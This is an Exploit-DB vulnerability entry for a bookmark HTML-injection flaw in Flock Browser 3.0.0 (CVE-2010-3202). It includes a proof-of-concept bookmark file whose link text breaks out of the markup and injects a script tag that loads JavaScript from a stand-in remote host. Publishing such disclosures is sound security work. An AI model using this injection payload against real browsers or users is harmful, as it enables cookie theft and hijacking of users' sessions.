Flock Browser 3.0.0 Malformed Bookmark HTML Injection Vulnerability

ID EDB-ID:34500
Type exploitdb
Reporter Lostmon
Modified 2010-08-19T00:00:00


Flock Browser 3.0.0 Malformed Bookmark HTML Injection Vulnerability. CVE-2010-3202. Remote exploits for multiple platform

                                            source: http://www.securityfocus.com/bid/42556/info

Flock Browser is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Versions prior to Flock are vulnerable.

<!DOCTYPE NETSCAPE-Bookmark-file-1> <!-- This is an automatically generated file. It will be read and overwritten. DO NOT EDIT! --> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"> <TITLE>Bookmarks</TITLE> <H1>MenĂş Marcadores</H1> <DL><p> <DT><A HREF="http://www.example.com" ADD_DATE="1282083605" LAST_MODIFIED="1282083638">"><script src='http://www.example.com/thirdparty/scripts/ckers.org.js'></A> </DL><p>